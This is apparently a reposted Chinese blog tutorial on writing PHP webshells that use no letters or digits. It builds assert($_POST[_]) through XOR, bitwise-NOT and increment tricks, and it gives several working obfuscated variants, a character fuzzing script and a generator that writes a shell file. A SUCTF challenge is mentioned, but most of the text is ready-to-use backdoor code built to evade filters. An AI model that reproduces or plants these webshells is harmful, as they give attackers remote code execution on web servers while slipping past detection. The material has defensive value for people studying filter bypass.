小编给大家分享一下如何实现不包含数字字母的WebShell,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!
一、使用异或 ^
运算
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
这个马是不能直接用的,因为代码中的url编码其实对应的是一个不可打印的特殊字符,这里只是为了显示程序方便,作者用url编码来取代,实际上木马应该是下面这个样子:
或者你还可以按照如下两种形式修改木马,使得木马可以运行。
<?php $_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`'); $__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
<?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); $__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
二、使用取反 ~
运算
<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[_]);// assert($_POST[_]);
前两天的SUCTF就考察了这个,但是需要对代码稍作修改。原题目可以写入特殊字符只有: ~ $ _ ; = ( )
,修改如下:(PS:代码由 Wfox
师傅fuzz出来,也是参考P牛的文章 )
<?php $__=[]; $___=[]; $_=$__==$___; $__=~(瞰); $___=$__[$_]; $__=~(北); $___.=$__[$_].$__[$_]; $__=~(的); $___.=$__[$_]; $__=~(半); $___.=$__[$_]; $__=~(拾); $___.=$__[$_]; $____=~(~(_)); $__=~(说); $____.=$__[$_]; $__=~(小); $____.=$__[$_]; $__=~(次); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);// assert($_POST[_]);
fuzz脚本如下:
<?php $charset = '"'; for ($i=0; $i < 65536; $i++) { $charset .= sprintf("/u%04s",dechex($i).''); //生成 /u0000 - /uffff 字符集 } $charset = json_decode($charset.'"'); //json_decode解码格式:json_decode('"xxxxxxxx"') header('Content-Type: text/html; charset=utf-8'); for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) { $st = mb_substr($charset, $i,1,'utf-8'); $a = ~($st); $b = $a[1]; echo $st.' '.$b.'<br>'; } ?>
赛后官方也提供了WP,PHP中使用按位取反(~)函数创建后门 。按照这篇文章,没有成功生成可用的shell,于是我又参考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成脚本如下:
# generate.php 运行该程序,生成木马shell.php, assert('eval($_POST[_])'); <?php file_put_contents('yihuo.php', '<?php $_=~'.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>') ?>
三、使用自增运算 ++
<?php @$_=[].''; @$___=$_['']; $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____; @$___($_[_]);// assert($_POST[_]); ?>
看完了这篇文章,相信你对“如何实现不包含数字字母的WebShell”有了一定的了解,如果想了解更多相关知识,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/222563.html